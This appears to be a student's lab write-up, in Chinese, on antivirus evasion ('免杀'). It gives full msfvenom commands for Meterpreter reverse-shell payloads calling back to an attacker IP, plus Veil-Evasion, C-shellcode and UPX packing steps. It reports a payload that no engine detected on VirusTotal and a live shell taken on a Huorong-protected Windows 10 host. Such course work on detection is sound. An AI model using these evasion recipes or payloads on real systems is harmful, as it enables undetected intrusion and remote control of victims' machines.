首页 > 其他分享 >网络对抗实验三 免杀原理与实践

网络对抗实验三 免杀原理与实践

时间:2023-03-30 13:33:08浏览次数:48  
标签:实践 exe 免杀 检测 杀软 生成 veil 对抗

目录

《网络对抗技术》——Exp3 免杀原理与实践

1.1 实践目标

(1)任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

(2)任务二:通过组合应用各种技术实现恶意代码免杀

(3)任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

1.2 基础知识

  • 免杀原理
    • 免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
    • 如果要做好免杀,就要清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。

任务一:正确使用免杀工具或技巧

1.正确使用msf编码器

在实验二中已经生成了未经编码处理exe类型的后门程序,将其放到VirusTotal或Virscan(网站链接在文末参考资料中)中查看结果,这里选择了VirusTotal:

由此可见不加任何处理的后门程序能够被大多数杀软检测到,接下来用msf编码器对后门程序进行一次到多次的编码,并进行检测

  • -e用来选择编码器
  • -b用来去除需要去除的字符,应使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
  • -i设置迭代次数,这里设置迭代次数为10

生成一次编码的后门程序:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.112.129 LPORT=1313 -f exe > 20201313_backdoor1.exe

生成十次编码的后门程序:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.112.129 LPORT=1313 -f exe > 20201313_backdoor10.exe

由此可见经过编码后被检测出的概率只略微下降,仍然能被大多数杀软检测出来。

2.msfvenom生成如jar之类的其他文件

  • 生成jar文件:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.112.129 LPORT=1313 x> 20201313jar.jar

VirusTotal检测结果:

  • 生成jsp文件:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.112.129 LPORT=1313 x> 20201313jsp.jsp

VirusTotal检测结果:

  • 生成php文件:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.112.129 LPORT=1313 x> 20201313php.php

VirusTotal检测结果:

  • 生成apk文件:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.112.129 LPORT=1313 x> 20201313apk.apk

VirusTotal检测结果:

3.使用veil-evasion生成后门程序

使用sudo apt-get install veil进行veil的安装

安装完成后提示有的部分没有安装成功,根据提示加后缀重新进行安装:

安装完成后输入veil命令,这里使用热点进行安装会快很多,这里安装python会无响应……下载完成后会提示运行/usr/share/veil/config/setup.sh --force --silent

但是在运行该指令时会反复提示找不到wine32,提示apt-get install wine32,参照Kali Linux 64位架构安装Veil-Evasion - 大学霸 - 博客园 (cnblogs.com)64位kali下安装wine32 - 知乎 (zhihu.com),按顺序输入以下三句指令(注意要在root权限下)

dpkg --add-architecture i386
apt-get update
apt-get install wine32

输入veil后,根据提示然后再次输入/usr/share/veil/config/setup.sh --force --silent

使用sudo运行veil

然后输入use evasion

之后输入命令use c/meterpreter/rev_tcp.py进入配置界面

使用set LHOST 192.168.112.129设置反弹连接IP地址

使用set LPORT 1313设置端口

使用generate命令生成文件,接着输入生成的playload的名称veil20203313,保存路径为/var/lib/veil/output/source/veil20201313.exe

按老规矩丢到virustotal中看看veil生成的隐蔽性如何

结果显示通过veil加壳后效果也不是太好,依然有过半的杀软可以把它揪出来

4.使用C+shellcode编程生成后门程序

使用如下指令生成shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.112.129 LPORT=1313 -f c

创建20201313.c,将buf添加到代码中

使用i686-w64-mingw32-g++ 20201313.c -o 20201313.exe生成exe可执行文件

丢到virustotal中看看效果:

看样子效果只是好了一些,但仍能被大多数杀软查出

5.加壳工具

使用命令upx 20201313.exe -o 20201313pro.exe对20201313.exe加壳

上传到virustotal中:

加壳以后能够检测出的杀软少了,但是过半的杀软还是可以检测出的。

6.其他方法

采用Veil-Evasion的其他荷载生成后门方式
进入evasion,使用list查看可用的有效荷载:

我先选择的是第13个荷载

输入options查看有效荷载的选项

修改用户名后使用generate生成,选择shellcode平台时选择2:msfvenom,payloads与IP、端口号,然后根据要求输入

将可执行文件上传到virustotal中看看效果:

效果更差了。。。

然后根据学长的实验流程,选择第32个载荷

将可执行文件上传到virustotal中看看效果:

和学长的结果相同,所有杀软都没有检测出来

任务二:通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

任务一中最后一个采用Veil-Evasion生成的Python下shellcode在DES下加密文件已经可以通过杀软检查,所以这步中我使用了Python下shellcode使用DES加密的载荷+加密壳生成的文件:

电脑环境:win10主机
杀毒引擎:火绒
杀软版本:5.0.73.3

木马库版本时间:2023-03-28

通过共享文件夹传入主机,然后扫描该共享文件夹

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

电脑环境:win10主机
杀毒引擎:火绒
杀软版本:5.0.73.3
木马库版本时间:2023-03-28

先对上述实验生成veil20201313.exe用upx命令进行加壳,然后根据实验二的步骤利用ncat传到主机中

杀软扫描没任何问题

然后再msfconsole控制台里,打开监听,并运行该程序

程序成功运行并且获取了主机的shell控制

实验中遇到的问题

问题一:安装veil的过程中提示缺少wine32,提示apt-get install wine32,这个在上述步骤里已经详细描述了解决方案,其成因是装的kali是64位的,无法安装32位的wine,所以通过一些手段让kali可以兼容32位的软件就行了。

实验收获与感想

本次实验中,我使用了几种不同的方法对后门程序软件进行免杀处理,其中大多数的方式都是可以被多数杀软给检测出来的,但是仍然存在少数无法被扫描且在联网状态下仍能顺利运行的后门程序,所以说不能盲目相信杀软没有检测出来东西就证明电脑的安全,要常去查看可疑进程来配合杀软增加你电脑的安全性。

问题回答

  • (1)杀软是如何检测出恶意代码的?

a. 基于特征码的检测。恶意代码常常具有明显的特征码也就是一段数据,杀软检测到具有该特征码的程序就当作检测到了恶意代码。

b.启发式恶意软件检测.。

c.基于行为的恶意软件检测。如果一个程序的行为是带有恶意的行为,那么这个程序也会被认为是恶意代码。

  • (2)免杀是做什么?

免杀指的是用一些特殊的手段,让病毒木马等有害程序免于被杀毒软件查杀。

  • (3)免杀的基本方法有哪些?

a.静态文件免杀

对于静态免杀,针对的是杀毒软件的静态文件扫描,云查(病毒库)杀。

杀毒是提取文件一段特征码来识别病毒文件。

可以使用encoder进行编码、重新编译生成可执行文件、加壳等手段改变特征码。

b.动态行为免杀

说白了,恶意行为都是通过API调用来完成的,可能是一个API,可能是多个APi组合。杀软通过技术手段拦截这些API调用,通过策略来判断是否属于恶意行为。

可以采用替换api、未导出api、重写api、api+5、底层api等方式。

  • (4)开启杀软能绝对防止电脑中恶意代码吗?

很显然,通过这次实验我们已经可以看出杀软并不能检测出所有的恶意软件,而且如果无法检测出特征码,而且在该软件运行时也无法检测出其恶意的行为,那么这个软件在杀软眼中就是安全的,所以仍然需要人工进行配合来防护。

标签:实践,exe,免杀,检测,杀软,生成,veil,对抗
From: https://www.cnblogs.com/shadevil/p/17272288.html

相关文章

  • IM跨平台技术学习(七):得物基于Electron开发客服IM桌面端的技术实践
    本文由得物技术团队Uni分享,即时通讯网收录时有内容修订和排版优化。一、引言本文要分享的是得物技术团队基于Electron开发客服IM桌面端的技术实践过程,内容包括桌面技术......
  • 微软、Box为开发者提供API 以对抗Google Drive
    传说中的GoogleDrive终于正式上线了。跻身云端存储行列的Google是否能扛得住来自包括Dropbox在内的业内对手的竞争还不得而知,但毫无疑问,这些竞争者们已经开始行动了......
  • 应用上容器云的准入条件和最佳实践
    随着Kubernetes的发展,现在有一个新的技术趋势:在容器云中以Pod的方式运行虚拟机,这样容器云平台就能够提供普通容器无法实现的功能。相信通过类似的技术,越来越多的应用会向容......
  • Exp3-免杀原理
    一、基础问题回答1.杀软是如何检测出恶意代码的?杀软检测恶意代码共有三种方法:1.基于特征码的检测。简单来说一段特征码就是一段或多段数据,经过对许多恶意代码的分......
  • Exp3-免杀原理
    Exp3-免杀原理实验基础问题回答1杀软是如何检测出恶意代码的?(1)检测特征码人有自己的特征,代码也有自己的特征。杀毒软件都有着一套特征库,依靠检索程序代码是否和库中特......
  • 华为云时习知助力华为终端全球零售门店,打造数字化人才培养最佳实践
    零售连锁企业线下门店人员的销售和服务,是决定消费者对品牌认知的重要触点。门店人员对产品知识和工作流程的掌握程度,决定了服务质量,也决定了消费者对品牌的第一印象。很多零......
  • 《网络对抗技术》——Exp3 免杀原理与实践
    一、实践内容1.1实践要求1、正确使用msf编码器,使用msfvenom生成如jar之类的其他文件2、veil,加壳工具3、使用C+shellcode编程4、通过组合应用各种技术实现恶意代码......
  • 《Python编程快速上手—让繁琐工作自动化》实践项目答案:第三章
    Collatz序列1、题目:编写一个名为collatz()的函数,它有一个名为number的参数。如果参数是偶数,那么collatz()就打印出number//2,并返回该值。如果number是奇数,co......
  • 《Python编程快速上手—让繁琐工作自动化》实践项目答案:第四章
    1.逗号代码:有这样的列表:spam=['apples','bananas','tofu','cats']编写一个函数,它以一个列表值作为参数,返回一个字符串。该字符串包含所有表项,表项之间以逗号和空格分隔......
  • 20201331 黄文刚 Exp3-免杀原理
    20201331黄文刚Exp3-免杀原理基础问题回答(1)杀软是如何检测出恶意代码的?目前杀毒软件的原理主要有3种:引擎与病毒库的交互作用,通过特征码提取与病毒库中的特征码进行......